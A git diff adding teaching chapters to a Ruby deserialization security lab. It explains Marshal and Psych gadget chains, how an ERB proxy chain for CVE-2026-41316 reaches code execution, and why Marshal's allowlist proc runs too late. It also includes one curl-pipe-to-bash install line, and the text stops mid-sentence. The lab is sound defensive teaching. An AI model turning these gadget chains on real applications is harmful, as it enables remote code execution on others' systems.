diff --git a/PROJECTS/beginner/deserialization-gadget-lab/README.md b/PROJECTS/beginner/deserialization-gadget-lab/README.md index 448b04dc..c95a3eb0 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/README.md +++ b/PROJECTS/beginner/deserialization-gadget-lab/README.md @@ -15,7 +15,7 @@ [![Gem](https://img.shields.io/badge/gem-marshalsea-E9573F?style=flat&logo=rubygems&logoColor=white)](https://rubygems.org/gems/marshalsea) [![Formats](https://img.shields.io/badge/formats-Marshal%20%2B%20YAML-6D4AFF?style=flat)](#the-two-allowlists) [![CVE](https://img.shields.io/badge/CVE--2026--41316-CVSS%208.1-4457E8?style=flat)](https://www.ruby-lang.org/en/news/2026/04/21/erb-cve-2026-41316/) -[![Tests](https://img.shields.io/badge/tests-267-8B5CF6?style=flat)](#build-and-test) +[![Tests](https://img.shields.io/badge/tests-268-8B5CF6?style=flat)](#build-and-test) [![License: AGPLv3](https://img.shields.io/badge/License-AGPL_v3-purple.svg)](https://www.gnu.org/licenses/agpl-3.0) > A Ruby object-deserialization security lab. It reads `Marshal` and YAML bytes without ever reviving them, tells you which classes are in there and which methods those bytes would fire, hunts your loaded code for the classes that make usable gadgets, builds a working payload for a real 2026 CVE, and then stands up a deliberately vulnerable Sinatra target so you can watch the exploit land over HTTP and watch the defense stop it. It ships as a gem plus a container, and every defense in it comes with a written statement of what it cannot do. @@ -30,7 +30,7 @@ It is also the bug class the industry most consistently gets wrong in retellings ## What it is -Not a stub. Every capability below is exercised by 267 tests across seven suites and a six-stage gate that runs real containers, with 78 assertions that must all pass. +Not a stub. Every capability below is exercised by 268 tests across seven suites and a six-stage gate that runs real containers, with 79 assertions that must all pass. **A reader that never loads (Marshal)** - Parses the Marshal binary format without calling `Marshal.load`: version bytes, type tags, instance variables, object links, symbols, floats @@ -146,7 +146,7 @@ Every defense here is a trade, and the code says so out loud rather than in a fo - **A stream that passes inspection is not a safe stream.** `proceed?` means the bytes matched a policy. It does not mean the payload is harmless, and `LIMITATION_NOTICE` says exactly that. The published CVE chain produces **zero sink tags**, so sink detection alone never catches it; only class allowlisting does. - **The runtime guard is defense in depth, not a boundary.** Its cost is not a multiplier. Enabling a `TracePoint` costs a near-constant ~46 microseconds per load, so it is 1.0x on a 488 KB document and **40x on a 45-byte session cookie**, and a cookie is what this lab deserializes. It also covers the load window only: a class carrying no hook at all is built freely and fires whenever the application next touches it. -- **The scanner sees only what is loaded.** `ObjectSpace` cannot report a class nobody has required yet. On a stock image it narrows 119 ungated candidates to 29 reachable, and 135 of its candidates are C-defined with no Ruby source at all, which it reports as `unanalysable` rather than scoring as inert. +- **The scanner sees only what is loaded.** `ObjectSpace` cannot report a class nobody has required yet. On a stock `ruby:4.0-slim` it narrows 124 ungated candidates to 28 reachable, and 142 of its candidates are C-defined with no Ruby source at all, which it reports as `unanalysable` rather than scoring as inert. Those figures are a statement about what one process had loaded, not about Ruby; re-run `just scan` rather than quoting them. - **The gem floor is `>= 3.4` and it was measured, not chosen.** `Marshal.load` did not validate the bignum sign byte until 3.4. The parser accepts `+` and `-` only, so it models 3.4 and newer; run it on 3.3 and it disagrees with the interpreter it exists to model. `just package` re-proves that in both directions on every run. ## Architecture diff --git a/PROJECTS/beginner/deserialization-gadget-lab/learn/00-OVERVIEW.md b/PROJECTS/beginner/deserialization-gadget-lab/learn/00-OVERVIEW.md new file mode 100644 index 00000000..88c0d5a5 --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/learn/00-OVERVIEW.md @@ -0,0 +1,204 @@ + + + +# marshalsea: Overview + +## What This Is + +A Ruby object-deserialization security lab, shipped as a gem plus a container. You hand it `Marshal` bytes or a YAML document and it tells you which classes are in there and which methods those bytes would fire, **without ever reviving anything**. It hunts your loaded class graph for the classes that make usable gadgets. It builds a working payload for a real 2026 CVE. And then it stands up a deliberately vulnerable Sinatra app so you can watch that payload land over HTTP and watch the defense stop it. + +The whole project is organized around one question that almost every write-up skips: *why does the obvious fix not work?* Everyone says "do not deserialize untrusted input." Fewer people can tell you why handing `Marshal.load` an allowlist proc fails, why the same allowlist idea in Psych succeeds, and why the difference is four lines apart in `marshal.c`. That question is the spine of this lab, and every defense it ships comes with a written statement of what it cannot do. + +Nothing here is a stub. 268 tests across seven suites, plus a six-stage gate that drives real containers with 79 assertions that must all pass. + +## Why This Matters + +Serializing an object freezes it into bytes. Deserializing thaws it back. The trap is that thawing is not a passive copy: rebuilding an object calls methods on it, and if an attacker chooses the bytes, the attacker chooses which methods run. String enough unrelated standard-library methods together and code execution falls out the far end. Nowhere in those bytes is there an instruction that says "run a command." That is what makes it a **gadget chain**, and it is why the name of this class of bug is so often mis-taught. + +This is not a Ruby quirk. Java, PHP, Python, and .NET all shipped a convenient serializer and all inherited the same bug. The honest numbers, all reproducible: + +- **69 of 1,653 CISA KEV entries are CWE-502** (catalog version 2026.07.24), making it the **seventh most common weakness** in the catalog of vulnerabilities confirmed exploited in the wild. +- **34.8% of those carry known ransomware use, against a 20.1% baseline** for the catalog as a whole. Deserialization bugs are roughly 1.7x more likely than average to end up in a ransomware crew's toolkit. +- **The rate is not declining.** 2025 was the highest single year on record for CWE-502 KEV additions, and Microsoft SharePoint alone picked up five of them inside twelve months. + +What you will *not* find in this repo is a dollar figure. There is no credible, citable number for the total financial cost of this bug class, and [01-CONCEPTS.md](./01-CONCEPTS.md) says so instead of laundering a vendor statistic into an academic-looking citation. + +**Real-world scenarios where this applies:** +- **Reviewing a session or cache layer.** Rails cookies were Marshal-serialized before 4.1, and Active Support cache stores still deserialize what they read back. The signature is the only control, and CVE-2019-5420 is the case where the signature worked and the *key* was guessable. +- **Auditing a second-order sink.** CVE-2022-32224 is the modern shape: untrusted data arrives from your own database, not over HTTP, and defeats any threat model that draws the trust boundary at the request edge. +- **Building a detector.** If you are writing a scanner for serialized payloads, the most useful thing in this repo is the evidence that denylist scanning of a serialization format loses on architecture, not on effort. `picklescan`, the scanner the Python ML ecosystem relies on, has accumulated **26+ CVEs of its own**, and Trail of Bits' `fickling` has the same failure. Both have been assigned CWE-184, "Incomplete List of Disallowed Inputs." + +## What You'll Learn + +**Security concepts:** +- **Gated versus ungated dispatch.** The axis this whole lab is built on, and one that is not written down in the published Ruby literature. `marshal_load` and `_load` are gated: `Marshal` calls `respond_to?` first and raises `TypeError` on a false answer. `hash`, `eql?`, `<=>`, `[]=`, and Psych's `init_with` are dispatched blind. A method-erased proxy class is therefore a *valid* YAML entry point and an *invalid* Marshal one. Same class, opposite outcome. +- **Why one allowlist is a bouncer and the other is an autopsy.** `Marshal.load`'s proc runs in `r_post_proc`, after `load_funcall` has already fired your gadget. Psych checks the tag *before* revival. Identical intent, opposite outcome, decided entirely by where the check sits. +- **Entry points versus links.** `to_s` is a real link in the published universal chain, but `Marshal` never calls it. Conflating "a method a gadget calls" with "a method the deserializer dispatches" is a false-positive factory, and the scanner models them as two different kinds of node. +- **What a partial guard costs you.** CVE-2026-41316 is the worked example: Ruby 2.7.0 added a guard to stop `Marshal.load` code execution on ERB objects, and it covered two of the five entry points. Six years of a correct defense with three doors left open. NVD files it CWE-502 **and CWE-693, Protection Mechanism Failure**, and the dual mapping is the story. +- **How to tell this bug class apart from the ones it gets confused with.** The chapter opens by debunking the most-cited example of it. + +**Technical skills:** +- **Reading a binary format without executing it.** The Marshal wire format tag by tag: version bytes, fixnum packing, symbol tables, object back-references, instance variables, the three sink tags. +- **Reflection over a live class graph.** `ObjectSpace.each_object(Module)`, `instance_method`, `source_location`, and Prism to decide whether a method body actually touches object state, with every swallowed error counted and named. +- **Building a payload without detonating it.** Constructing `{proxy => 1}` in Ruby calls `#hash` on the key and fires the chain *in your own process*. The builder splices a key-position stream out of a standalone dump instead. +- **Vetoing at a point the language does not offer you.** A `TracePoint` on `:call` fires before a method body runs, which is exactly the veto point the allowlist proc denies you. + +**Tools and techniques:** +- **`just`** as the command runner, with every stage running in a pinned Docker container and `--network none` everywhere except the target. +- **Minitest** for seven suites, and a **differential** discipline: execute real `Marshal.load` and real `Psych`, observe what actually dispatched, assert the model agrees, with liveness guards on both directions so a dead oracle cannot pass quietly. +- **Prism** for source analysis, and **Sinatra on Rack 3** for the vulnerable target. + +## Prerequisites + +You do not need prior deserialization or Ruby-security experience. This is a beginner-tier project in the sense that it starts from first principles, not in the sense that the material is shallow. + +**Required knowledge:** +- **Ruby basics.** Classes, modules, instance variables, blocks. If you can read `def foo(x)` and know what `@bar` means, you can read this code. +- **Bytes.** What a byte is, that `"\x04\b"` is two bytes and not six characters, and roughly what a hex dump looks like. +- **What "the standard library is loaded into your process" means.** The scanner's entire premise is that a class nobody has required yet cannot be a gadget. + +**Tools you'll need:** +- **Docker**, and that is genuinely it. Every recipe in the justfile runs in a container against a pinned Ruby. You never need a Ruby on your host. +- **`just`.** Install with `curl -sSf https://just.systems/install.sh | bash -s -- --to ~/.local/bin`. +- **The gem, if you only want the reader.** `gem install marshalsea` needs Ruby 3.4 or newer and no container at all. + +**Helpful but not required:** +- A skim of [CWE-502](https://cwe.mitre.org/data/definitions/502.html), so the vocabulary in the concepts chapter lands faster. +- Familiarity with any *other* language's version of this bug (Java `readObject`, PHP `unserialize`, Python `pickle`). The concepts chapter maps all four onto each other deliberately. + +## Quick Start + +Install the reader: + +```bash +gem install marshalsea +``` + +Look at a payload without running it: + +```ruby +require "marshalsea" + +payload = Marshal.dump(Gem::Requirement.new(">= 0")) +result = Marshalsea::Marshal::Parser.new(payload).parse + +result.class_names +# => ["Gem::Requirement", "Gem::Version"] + +result.sinks.map { |s| "#{s.class_name}##{s.sink_method}" } +# => ["Gem::Requirement#marshal_load", "Gem::Version#marshal_load"] +``` + +Make a decision instead of an observation: + +```ruby +detector = Marshalsea::Marshal::BoundaryDetector.new(allowed_class_names: %w[Hash String]) +decision = detector.inspect_stream(untrusted_bytes) + +decision.blocked? # => true +decision.reason +# => "stream reaches \"Gem::Requirement\"#marshal_load during load, before any allowlist can run" + +Marshal.load(decision.snapshot) if decision.proceed? +``` + +Nothing above instantiates a class, calls a constructor, or invokes `Marshal.load`. Read `Marshalsea::Marshal::BoundaryDetector::LIMITATION_NOTICE` before you rely on `proceed?`; it is a constant in the library precisely so it cannot be skipped. + +Then run the lab itself from a checkout: + +```bash +just scan # hunt the loaded class graph for usable gadget entry points +just corpus # every adversarial payload, and what the detector decides about each +just target # stand up the vulnerable app and attack it over HTTP +just gate # everything: suites, version matrix, exploit, detector, target, packaging +``` + +`just scan` on a stock `ruby:4.0-slim` prints a header and then every entry point it judged reachable: + +``` +modules=691 candidates=193 gated=11 reachable=43 suppressed=3 candidates_lost=false +analysed=43 unanalysable=142 unreadable=8 + + gated Date._load + ungated Gem::Requirement#hash /usr/local/lib/ruby/4.0.0/rubygems/requirement.rb:195 + ungated Gem::Specification#method_missing /usr/local/lib/ruby/4.0.0/rubygems/specification.rb:2055 + ... + gated Time._load + +suppressed errors (this scan under-reports): + source_parse 3 + +142 candidates have no Ruby source and were never analysed; the reachability filter does not cover them +``` + +Read the last two blocks first. The scanner reports what it *could not* see with the same prominence as what it found, and that is deliberate: a gadget-discovery tool that quietly under-reports is worse than no tool at all. + +> [!TIP] +> Those numbers are image-dependent and load-dependent, not facts about Ruby. `ObjectSpace` cannot report a class nobody has required yet, so requiring more code produces more candidates. Re-run `just scan` in your own environment rather than trusting the figures printed here. + +## Project Structure + +``` +deserialization-gadget-lab/ +├── lib/marshalsea/ +│ ├── marshal/ +│ │ ├── parser.rb # the Marshal format reader that never calls Marshal.load +│ │ ├── node.rb # the parse graph, sealed and frozen before it is returned +│ │ ├── boundary_detector.rb # policy, three decision states, limitation notice +│ │ ├── load_guard.rb # TracePoint veto that fires before the hook body +│ │ ├── limits.rb # fourteen resource ceilings, all on by default +│ │ ├── float_body.rb # float decoding that labels what it cannot decode +│ │ └── constants.rb errors.rb +│ ├── psych/inspector.rb # YAML AST reader, revives nothing +│ ├── chains/ # the directory is the chain identity, no registry to rot +│ │ ├── base.rb erb_def_method.rb erb_def_module.rb psych_init_with.rb +│ ├── scanner.rb # reflection over the loaded class graph +│ └── chains.rb version.rb +├── target/ # the deliberately vulnerable Sinatra app + containers +├── scripts/ # the six gate stages and the gem auditor +├── test/ # seven suites, the adversarial corpus, standalone controls +├── learn/ # this teaching track +└── justfile +``` + +The single most important seam to understand first is the split between `parser.rb` and `boundary_detector.rb`. The parser is deliberately **forensic**: it keeps parsing a stream that CRuby itself would refuse, so a sink hidden in a slot where a symbol belongs stays visible in the report instead of vanishing behind a parse error. The detector is the **strict** half, and it rejects on the anomaly the parser recorded. That split is why a hostile stream can be both fully described and firmly refused, and it is the design decision the rest of the library hangs off. + +## Next Steps + +1. **Understand the ideas.** Read [01-CONCEPTS.md](./01-CONCEPTS.md). It opens by debunking the most-cited example of this bug class, then builds the gated-versus-ungated axis, the two-allowlists argument, and the verified incident record behind all of it. +2. **See the design.** Read [02-ARCHITECTURE.md](./02-ARCHITECTURE.md) for the two readers, the three decision states, the scanner's taxonomy table, and why the parser and the detector disagree on purpose. +3. **Walk the code.** Read [03-IMPLEMENTATION.md](./03-IMPLEMENTATION.md) to trace bytes into a node graph, a node graph into a decision, and a live object into a payload, with the ActiveSupport proxy chain as the showpiece. +4. **Extend it.** Read [04-CHALLENGES.md](./04-CHALLENGES.md) for projects from writing a new chain to closing the guard's deferred-execution bypass. + +## Common Issues + +**`just scan` reports far fewer candidates than you expected** +``` +modules=691 candidates=193 gated=11 reachable=43 +``` +This is correct, not a bug. `ObjectSpace.each_object(Module)` sees only what the current process has loaded, and a bare `ruby -Ilib` process has loaded very little. Require `active_support`, or scan inside your own application's boot, and the numbers climb. A gadget scanner tells you what chains exist in *this* process, which is a statement about your dependency graph, not about Ruby. + +**The detector accepted a stream and something still went wrong** +``` +decision.proceed? # => true +``` +Read `Marshalsea::Marshal::BoundaryDetector::LIMITATION_NOTICE`. `proceed?` means *these bytes matched the policy you configured*. It does not mean the payload is safe. The published CVE-2026-41316 chain produces **zero sink tags**, so a sink-only policy never catches it; only class allowlisting does, and an application that allowlists `ERB` will accept it anyway. + +**The runtime guard made things slower than the documentation implied** +``` +LoadGuard, 45-byte session cookie: 40x +``` +Also correct. The guard's cost is not a multiplier, it is a near-constant **~46 microseconds per load** spent enabling the `TracePoint`. That is 1.0x on a 488 KB document and 40x on a session cookie, and a session cookie is exactly what this lab deserializes. The number is published with the payload size attached because publishing it without one reads as an endorsement it has not earned. + +**The gem refuses to install on Ruby 3.3** +``` +marshalsea requires Ruby version >= 3.4 +``` +Measured, not chosen. `Marshal.load` did not validate the bignum sign byte until 3.4. The parser accepts `+` and `-` only, so it models 3.4 and newer; run it on 3.3 and it disagrees with the interpreter it exists to model. `just package` re-proves that boundary in both directions on every run. + +## Related Projects + +If you found this interesting, look at: +- **binary-analysis-tool**: the same "read a file format precisely and never execute it" muscle, applied to executables instead of object graphs. +- **api-security-scanner**: the other half of the sink question, finding where untrusted bytes enter an application in the first place. +- **lisdex** (zero-day-vulnerability-scanner): what happens when the parser you are auditing is written in C and the failure mode is memory corruption rather than object injection. diff --git a/PROJECTS/beginner/deserialization-gadget-lab/learn/01-CONCEPTS.md b/PROJECTS/beginner/deserialization-gadget-lab/learn/01-CONCEPTS.md new file mode 100644 index 00000000..58ccf33c --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/learn/01-CONCEPTS.md @@ -0,0 +1,495 @@ + + + +# marshalsea: Concepts + +This chapter is the theory the lab is built on. Every claim in it is either traced to a primary source with a URL, or verified by running Ruby in a pinned container, and it says which. Where a widely repeated claim turned out to be wrong, the correction is here rather than a quiet omission. + +## Start with the one everybody gets wrong + +**The most-cited example of insecure deserialization was not insecure deserialization.** + +Search for "insecure deserialization breach" and Equifax comes back at the top. The 2017 breach, 147 million people, the largest data-breach settlement on record. It is in slide decks, in course material, in interview answers, and in the introductory paragraph of an enormous number of write-ups about this exact bug class. + +It was **OGNL expression injection**, and NVD classifies it **CWE-755, Improper Handling of Exceptional Conditions**. Not CWE-502. + +Here is [the NVD record for CVE-2017-5638](https://nvd.nist.gov/vuln/detail/CVE-2017-5638), verbatim: + +> "The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 has incorrect exception handling and error-message generation during file-upload attempts, which allows remote attackers to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header, as exploited in the wild in March 2017 with a Content-Type header containing a #cmd= string." + +The mechanism: a malformed `Content-Type` header raises an exception, the exception message is built by a routine that evaluates OGNL, and the attacker's OGNL expression executes. **No object graph is reconstructed at any point. There is no serialized payload anywhere in it.** It is closer to template injection than to deserialization. + +CISA agrees, and it is worth seeing how precisely. In the KEV catalog, CVE-2017-5638 is titled "Apache Struts *Remote Code Execution* Vulnerability" and mapped to CWE-20, while its sibling CVE-2017-9805 is titled "Apache Struts *Deserialization of Untrusted Data* Vulnerability" and mapped to CWE-502. Same product, same year, different bug class. Somebody named them differently on purpose. + +### How to tell them apart + +Struts had two famous RCEs in 2017, six months apart, and only the second one is deserialization: + +| | CVE-2017-5638 | CVE-2017-9805 | +|---|---|---| +| NVD published | 2017-03-10 | 2017-09-15 | +| Component | Jakarta Multipart parser | REST plugin | +| Mechanism | OGNL injection during error-message generation | XStream deserialization with no type filtering | +| NVD CWE | **CWE-755** | **CWE-502** | +| CVSS v3.1 | 9.8 | 8.1 | +| Used against Equifax | **Yes** | **No** | + +### Why the myth is so durable + +The timeline explains it completely, and the Apache Software Foundation documented the correction itself. CVE-2017-9805, the one that *is* deserialization, was disclosed 2017-09-04. Equifax announced the breach 2017-09-07. Three days apart. Early reporting reasonably guessed the fresh CVE. Equifax corrected the record on 2017-09-13. The ASF [published a media alert](https://news.apache.org/foundation/entry/media-alert-the-apache-software) on 2017-09-14 that exists specifically to fix this: + +> "Following this announcement, additional claims stated that the breach was caused by **CVE-2017-9805**, an exploit in Apache Struts that was disclosed on 4 September 2017." +> +> "On 13 September 2017, Equifax issued a statement confirming that 'The vulnerability was Apache Struts **CVE-2017-5638**'." + +The correction lost. The originating Quartz article still carries its own retraction notice and its URL slug still says "nine-year-old security flaw" while the headline has been rewritten. + +Four primary sources were opened and text-searched for this chapter, and none of them uses the word: + +1. **GAO-18-559** (2018-08-30, 40 pages): "deserialization," "serialization," and "OGNL" appear **zero times**, as does any CVE number. +2. **US House Committee on Oversight majority staff report** (December 2018, 96 pages): names CVE-2017-5638 explicitly and cites NVD directly. "Deserialization" appears **zero times**. +3. **Equifax's own press release** (2017-09-15): "The attack vector used in this incident occurred through a vulnerability in Apache Struts (CVE-2017-5638)." +4. **DOJ indictment press release** (2020-02-10): "the defendants exploited a vulnerability in the Apache Struts Web Framework." "Deserialization": zero occurrences. + +That is a better story than the myth was: **a plausible inference, made under time pressure, that outran its own retraction by nine years.** And it teaches something the myth cannot, which is how to look at a CVE and tell expression injection from deserialization. + +If you want the correct one-sentence version: *the largest data-breach settlement on record came from an unpatched Struts OGNL injection, a different bug class that is frequently mislabelled as deserialization.* + +## So what is deserialization, actually + +Serializing an object writes its state to bytes. Deserializing reads those bytes back into a live object. The trap is that the second step is not a copy. To rebuild an object, the runtime has to run code: + +``` + Marshal.dump bytes on the wire Marshal.load + ──────────── ───────────────── ──────────── + object state ──> "\x04\bU:\x15Gem::..." ──> allocate the class + CALL its marshal_load + CALL #hash on hash keys + CALL #<=> on Range ends + return the object +``` + +Every one of those `CALL`s is a method the attacker chose by choosing the bytes. That is the entire vulnerability. `Marshal.load` is not "parsing"; it is a small, attacker-steerable interpreter over your loaded class graph. + +Ruby's own documentation for `Marshal` says this plainly, and has for years: + +> "By design, `Marshal.load` can deserialize almost any class loaded into the Ruby process. In many cases this can lead to remote code execution if the `Marshal` data is loaded from an untrusted source. As a result, `Marshal.load` is not suitable as a general purpose serialization format and you should never unmarshal user supplied input or other untrusted data." + +Python says the same thing about `pickle`: + +> "The `pickle` module **is not secure**. Only unpickle data you trust. It is possible to construct malicious pickle data which will **execute arbitrary code during unpickling**. Never unpickle data that could have come from an untrusted source, **or that could have been tampered with**." + +PHP says it about `unserialize()`: + +> "**Do not pass untrusted user input to unserialize() regardless of the `options` value of `allowed_classes`.** Unserialization can result in code being loaded and executed due to object instantiation and autoloading." + +Three languages, three official docs, all saying the same thing for a decade. All three still generating CVEs. **The failure is not missing documentation.** That framing is more useful than any severity score, and it is the reason this lab spends its effort on *why the obvious fixes fail* rather than on repeating the warning. + +Note the clause most write-ups drop from the Python quote: "or that could have been tampered with." It is the half that motivates the `hmac` sentence that follows it in the real docs. The teaching point is precise: **hmac addresses tampering, not untrusted origin.** Signing a payload produced by an attacker who holds the key buys you exactly nothing. + +## The gadget chain + +Here is the part that makes this bug class feel like magic, and the part that stops feeling like magic once you see the shape. + +A payload does not contain code. It contains a description of an object graph. What the attacker does is pick a set of classes that are *already loaded in your process*, arrange them so that reviving one calls a method on the next, and keep going until the last one does something useful. Each class in that sequence is a **gadget**. The sequence is a **chain**. + +``` + attacker controls only the SHAPE of the graph + ┌───────────────────────────────────────────────────────────┐ + │ Hash │ + │ └─ key: DeprecatedInstanceVariableProxy │ + │ @instance = ERB (with attacker-controlled @src) │ + │ @method = :def_module │ + └───────────────────────────────────────────────────────────┘ + │ + Marshal.load rebuilds the Hash, which rehashes its keys + │ + v + proxy#hash -> method_missing -> @instance.def_module + │ + v + ERB#def_module -> ERB#def_method -> module_eval(@src) + │ + v + attacker's Ruby runs +``` + +Nowhere in that payload is there an instruction saying "run a command." Every step is a normal method doing exactly what it was written to do. `#hash` is supposed to be called when you rebuild a hash. `method_missing` is supposed to forward. `def_module` is supposed to compile a template. The attacker supplied only the arrangement. + +This is why the Apache Software Foundation refused to treat Commons Collections as vulnerable in 2015, and their statement is the clearest articulation of the idea anyone has published: + +> "this is not the only known and especially not unknown useable gadget. So replacing your installations with a hardened version of Apache Commons Collections will not make your application resist this vulnerability." + +All three of the famous 2015 Java CVEs (CVE-2015-4852 for Oracle WebLogic, CVE-2015-7501 for Red Hat JBoss, CVE-2015-6420 for Cisco) are scoped to *downstream vendors*. **Apache Commons Collections itself never received a CVE**, because `InvokerTransformer` was doing exactly what it was documented to do. The vulnerability was `readObject()` on untrusted bytes. The library was ammunition. + +Before the upstream fix shipped, the remediation of last resort was to physically delete `InvokerTransformer`, `InstantiateFactory`, and `InstantiateTransformer` class files out of deployed jars. That tells you how well the "just allowlist it" strategy was going. + +## The axis that matters: gated versus ungated + +This is the organizing idea of the whole lab, it is not written down in the published Ruby literature, and it was established here by execution on Ruby 3.0.7, 3.1.7, 3.3.8, 3.3.12, 3.4.10, and 4.0.6, with negative controls. + +Ruby's deserializers reach attacker-controlled objects two different ways, and the difference decides whether a class is usable at all: + +``` +GATED the deserializer calls respond_to?(m, true) FIRST + false -> TypeError, chain dead + reachable through method_missing ONLY if respond_to_missing? also answers true + +UNGATED the deserializer calls the method directly + no gate, no check + method_missing catches it for free +``` + +The verified table for `Marshal.load`, identical on Ruby 3.0.7 through 4.0.6: + +| Method | Gated? | When `Marshal.load` invokes it | +|---|---|---| +| `marshal_load(data)` | **GATED** on `respond_to?(:marshal_load, true)` | Object was dumped via `marshal_dump` (the `U` tag) | +| `self._load(str)` | **GATED**, on the class | Object was dumped via `_dump` (the `u` tag). The gate is on the singleton class | +| `respond_to_missing?(m, true)` | it *is* the gate | Called before the two above whenever the method is not concretely defined. Itself a reachable sink | +| `method_missing(m)` | inherits the gate | Fires for the two above only if `respond_to_missing?` returned true | +| `hash` | **UNGATED** | Object is a Hash key, or nested in an Array or Set used as a key | +| `eql?(other)` | **UNGATED** | Only on hash-bucket collision between two keys | +| `<=>(other)` | **UNGATED** | `Range#marshal_load` validates its endpoints, so it fires on both ends of a bounded Range | + +And the verified negatives, which matter just as much. `Marshal.load` **never** invokes any of these directly: `to_s`, `to_str`, `to_ary`, `to_hash`, `to_proc`, `to_int`, `inspect`, `==`, `coerce`, `each`, `call`, `<<`, `+`, `length`, `size`, `freeze`. + +That negative list is easy to get wrong and expensive to get wrong. `Gem::RequestSet::Lockfile#to_s` is a real step in the published universal chain, so it is tempting to file `to_s` as a sink. But it is called *by another gadget*, not by `Marshal`. **`to_s` is a link, never an entry point.** A scanner that conflates the two produces a flood of false positives, which is why this project models them as two different kinds of node and reports 53 links separately from 140 entry points. + +### The payoff: the same class, opposite outcomes + +Take a proxy class that undefines every public method, the shape Rails uses for its deprecation proxies. Reached through a **gated** sink: + +``` +1) marshal_load via method_missing (respond_to_missing? => true) -> fires +2) NEGATIVE: respond_to_missing? => false -> TypeError, chain dead +3) NEGATIVE: no marshal_load, no method_missing -> TypeError, chain dead +4) fully-wiped proxy -> TypeError, chain dead +``` + +Row 4 is the payoff. A class that undefines everything **cannot** be a `marshal_load` entry point, because it undefined `respond_to?` without supplying `respond_to_missing?`. + +Now the same wiped class through an **ungated** sink: + +``` +A) wiped proxy as a Hash key [UNGATED #hash] -> method_missing(hash) | ok +B) wiped proxy inside an Array key [UNGATED #hash] -> method_missing(hash) | ok +C) wiped proxy inside a Set [UNGATED #hash] -> method_missing(hash) | ok +D) two colliding wiped keys -> MM(hash) | MM(hash) | MM(eql?) | ok +``` + +Same class. Gated path dies, ungated path fires. Everything the scanner does is built on that distinction. + +Row D is worth pausing on, because it is the one that bit this project. `#eql?` only fires on a **bucket collision**, which means a test fixture with a single key can never observe it. An earlier version of this lab's differential oracle dumped `{ key => nil }`, one key, no collision, and `#eql?` was unobservable by construction. Three detector bypasses shipped under a green suite because of it. The oracle now uses two-key colliding hashes. + +### Psych is not Marshal, and the difference is sharper than it looks + +The same exercise for `YAML.unsafe_load`, verified identical on Psych 3.3.2, 4.0.4, 5.1.2, 5.2.2, and 5.3.1: + +| Method | Gated? | Trigger | +|---|---|---| +| `init_with(coder)` | **soft gate**: `o.respond_to?(:init_with)` as an ordinary Ruby call, so `method_missing` intercepts it | any `!ruby/object:X` mapping | +| `marshal_load(data)` | gated on `respond_to?(:marshal_load)` | the `!ruby/marshalable:X` tag | +| `hash` | **UNGATED** | object used as a YAML mapping key | +| `==` | **UNGATED** | mapping key insertion | +| `[]=(k, v)` | **UNGATED** | `!ruby/hash:Subclass`, where Psych calls `[]=` on the allocated subclass | + +The sharpest difference, and one this research run found nowhere in the literature: Psych calls `instance.respond_to?(:init_with)` as an **ordinary Ruby method call**, not through the C-level `rb_obj_respond_to` that Marshal uses. On a method-erased proxy, `respond_to?` itself falls into `method_missing`, which returns something truthy, so Psych then calls `init_with`, which also falls into `method_missing`. + +**A fully method-erased proxy class is a valid YAML entry point and an invalid Marshal entry point.** Identical class, opposite outcome. The lab has a test that asserts exactly that in both directions, and it is the reason the scanner scores entry points **per format** rather than globally: today's scan finds 29 entry points reachable through Marshal and 33 through Psych, and those two sets are not nested. + +### One blind spot worth knowing about + +A `String` subclass that overrides `#hash` and is used as a Marshal hash key **never has its `#hash` called.** Ruby's internal `rb_any_hash` special-cases `T_STRING` and hashes the bytes directly. Verified by execution on Ruby 4.0.6: + +``` +loading a String-subclass key dispatched: [] +loading an Object-subclass key dispatched: [:"Object subclass"] +``` + +Consequence for anyone writing a scanner: **String subclasses are dead as `#hash` entry points.** Report them and you produce false positives. Array, Hash, Object, and Struct subclasses all dispatch normally. (The same C fast path plausibly covers `Symbol`, `Integer`, `Float`, `nil`, `true`, and `false`, but those cannot be subclassed, so it could not be tested and is not claimed here.) + +## The two allowlists + +This is the spine of the project. Everyone teaches "do not deserialize untrusted input." Almost nobody explains why the obvious fix fails, and the answer is a specific, checkable fact about where one function call sits. + +`Marshal.load` accepts a proc. It is tempting to use it as an allowlist: + +```ruby +Marshal.load(bytes, ->(obj) { raise SecurityError unless ALLOWED.include?(obj.class); obj }) +``` + +**That does not work.** Here is the `TYPE_USRMARSHAL` case from `marshal.c` on ruby/ruby master, with the ordering annotated: + +```c +case TYPE_USRMARSHAL: + VALUE name = r_unique(arg); + VALUE klass = path2class(name); + ... + v = obj_alloc_by_klass(klass, arg, &oldclass); /* 1. allocate */ + ... + v = r_entry(v, arg); + data = r_object(arg); + load_funcall(arg, v, s_mload, 1, &data); /* 2. YOUR GADGET RUNS */ + ... + v = r_post_proc(v, arg); /* 3. proc finally sees it */ + break; +``` + +`r_post_proc` is where your proc is invoked. It is two statements after `load_funcall(... s_mload ...)`, which is the call that runs `marshal_load`. By the time your proc is handed the object and raises, the gadget has already fired. Executed confirmation on Ruby 4.0.6: + +``` +EXP-B: allowlist proc that permits everything EXCEPT Inner + proc raised: blocked Inner + side effects fired BEFORE the proc could veto: ["Inner#marshal_load RAN"] + => allowlist proc FAILED TO PREVENT the callback +``` + +There is also no allowlist keyword to fall back on. `Marshal.load` accepts exactly `proc` and `freeze:`: + +``` +Marshal.load(data, permitted_classes: [String]) + ArgumentError: unknown keyword: :permitted_classes +``` + +Psych's allowlist genuinely is a veto, for exactly one reason: it checks the tag **before** revival. Same intent, opposite outcome, decided entirely by where the check sits. + +``` +Marshal bytes ──> build the object ──> RUN its hook ──> your allowlist runs + ^^^^^^^^^^^^ too late, an autopsy + +Psych bytes ──> CHECK the tag ──> refuse + ^^^^^^^^^^^^^^ in time, a bouncer +``` + +The lab makes that executable rather than asserting it. One test loads the same conceptual payload through both deserializers and asserts on which callbacks fired: + +- `Psych.safe_load(document, permitted_classes: [])` raises `Psych::DisallowedClass` and `init_with` **never ran**. +- `Marshal.load(blob, ->(o) { o })` returns, and `marshal_load` **already ran**. + +The target application exposes both so you can `curl` the difference. `/render` and `/yaml/unsafe` both reach code execution with the same ERB object. `/yaml/safe` refuses it by tag. `/render/safe` can only inspect the bytes first and hope. + +That asymmetry is Ruby's position in the wider ecosystem, and it is not flattering: **`Marshal` has no JEP 290, no 